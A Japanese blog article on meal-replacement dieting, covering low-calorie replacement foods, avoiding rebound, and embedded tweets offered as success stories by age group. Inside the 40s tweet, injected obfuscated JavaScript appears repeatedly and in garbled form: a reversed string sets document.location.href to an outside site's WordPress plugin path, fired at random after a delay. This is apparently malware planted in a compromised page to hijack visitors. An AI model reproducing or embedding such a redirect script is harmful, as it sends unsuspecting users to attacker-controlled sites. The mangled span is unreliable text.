一概に「ダイエット」と言っても様々なダイエット法があります。
筋トレ・ジム通い・糖質制限など、ご自分に合うダイエット方法を見つけるのにもなかなか時間がかかるものです。
今回は、ダイエット法の中でも置き換えダイエットについてご紹介します。
また、年代別の成功事例も公開いたします。
置き換えダイエットのやり方に悩んでいる方、置き換えダイエットをはじめてみたいけれど成功するか不安、という方はぜひ参考にしてください。
■置き換えダイエットについて
○そもそも置き換えダイエットとは？
置き換えダイエットは、テレビやメディアなどでもよく聞くダイエット法ですね。
簡単にいうと3食のうちの1食を低カロリーなものに置き換えて全体的な摂取カロリーを減らす、というものです。
3食のうち2食を行う方もいるようです。
○置き換えダイエットの特徴とは
置き換えダイエットの1番大きな特徴は、辛い運動をしなくても痩せられるということです。
理由は簡単で、消費カロリーは今までと変わらずに、摂取カロリーのみ減ることになるからです。
ダイエットの基本は、摂取カロリーが消費カロリーを超えないように調整することです。
ですので、置き換えダイエットはポイントを知っていれば理論的には必ず痩せるダイエット法です。
○置き換えダイエットの難しいところ
このように説明するととても簡単に痩せられるような気がします。しかしながら、置き換えダイエットには忍耐力が必要なダイエット法です。
今まで好きなように食べていた方や食べることがストレス解消法、という方にとって1食だけでも低カロリーの食事に変更することは我慢が必要ですよね。
出来るだけストレスを感じずに置き換えダイエットをするためには、置き換える食事を工夫する必要があります。
■置き換える食事について
○低糖質の食事
ネットや薬局で様々なダイエット食品が売られていますが、自分で置き換え食を作ることも出来ます。
自分で作るときは、以下の事を覚えておいてください。
- 低糖質なものを選ぶ
- 低カロリーなものを選ぶ
- 消化が良いものを選ぶ
- 和食中心にする
例えば、温野菜に塩昆布を少しかけたものや野菜スープなどがおすすめです。
冷え対策をきちんと出来るのであれば、果物やヨーグルトも良いです。
果物で置き換えをする際は冷えの他にも糖質の量に気を付けてください。
また、お肉が食べたいときは鶏のササミなども置き換え食に向いています。
その他、ビタミン・ミネラルを取るために、納豆や海藻も食べましょう。薄味のお味噌汁にお豆腐やわかめを入れたものを飲むと体に必要な栄養素を上手に摂取することが出来るのでおすすめです。
○市販のダイエット食品
市販のダイエット食品には、置き換えダイエット中に不足しがちな食物繊維やビタミンなどがたくさん含まれています。
外食が多く、栄養バランスが気になるという方は、市販のものを使用した方が良いでしょう。
○プロテイン
プロテインは、腹持ちもよくタンパク質が豊富なのでトレーニングをしている方に特におすすめです。
■リバウンドをしない置き換えダイエットのやり方
○出来る限り継続する
置き換えダイエットは、摂取するカロリーを減らして痩せるダイエットですので、ダイエットを終えたあとに食事を元に戻すとリバウンドをしてしまう可能性が高いです。
それを防ぐためには、定期的に置き換えを継続出来るとリバウンドの心配がありません。そのためにも、自分に合う置き換え食を探しておくと良いです。
○筋トレをする
置き換えダイエットをしているときに、基礎代謝をアップさせれば痩せやすいだけではなく太りにくい体にもなれます。基礎代謝を上げるために有効なのが筋トレです。筋肉を増やし、基礎代謝を上げていればリバウンドを防ぐことが出来ます。
・基礎代謝とは
私たち人間は、エネルギーを消費しながら生きています。そのエネルギーの中の6割から7割が基礎代謝だと言われています。基礎代謝量は、寝ているときやぼんやりしているときでも使われているカロリーを指します。寝ている間に沢山のカロリーが消費されているってとてもお得な感じがしますよね。
先ほどもお話しした通り、ダイエットの基本は摂取カロリーが消費カロリーを上回らないことです。もし、基礎代謝量がアップして、消費カロリーがアアップすれば多少食べ過ぎてしまっても心配がありません。
・太りにくい体になれる
また、基礎代謝量がアップすれば、特別な運動をしていないときでもカロリーの消費が出来るようになり、太りにくい体になります。
■置き換えダイエットの年齢別成功事例
○10代
2週間主食を蒸しササミに
置き換えて3キロ痩せたっていう喜び今までやってきて
私的、置き換えのおすすめ食材は蒸しササミ
キャベツの千切り
ヨーグルト— なぴ (@y___npp3) April 5, 2018
○20代
昨夜こんどこそのママと従業員に、『久しぶり～！どうしたの凄い痩せたね！』って言われたから、今日は調子こいて朝から1食置き換えよ(笑)置き換えも残り後5日分です。イェ～イ⤴ pic.twitter.com/KDHsVJSGV0
— タムー (@reima38) April 16, 2018
○30代
朝起きてご飯食べさせて保育園預けて出勤して8時間立ちっぱなしで働いて旦那が息子を保育園から義実家に預けてるからお迎え行って帰宅して風呂入れて寝かす。
息子の晩御飯は義母が食べさせてくれるから助かるけど…私は食べる暇ないから1食置き換えのやつを晩御飯にしたら3kg痩せたよ。— ちーママ@8/1男児出産 (@QxVnRHArQONWZWm) 2018年8月18日
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ヨーグルト置き換えダイエット再開したんだけど4日でニキロぐらい痩せた？やばいかなw
— 理恵⭐相棒剛&ﾘｱ彼ｱｽﾗﾝ本気愛❤ (@123456love78912) 2018年8月1日
○40代
ご飯・パン・麺類を嗜好品と置き換え、出来るだけ摂取しないようにする事一週間。
確実に1kg以上痩せた！
要は一日の炭水化物の摂取量を200g以下に抑えるように心掛けただけ。
私はストレス抱えないようにお菓子・揚げ物を食べたり甘い飲み物を飲んだりしてる。
もう少し頑張ってみるのだ(^o^)b♪— サラポテ (@potetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); 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■まとめ
今回は、置き換えダイエットについて年代別成功事例と共にご紹介しました。
置き換えダイエットは結果が出やすい分、リバウンドにも注意が必要です。
まずは、ストレスを貯めずに置き換え食を楽しめるようご自分にあった置き換え食を探してみてください。
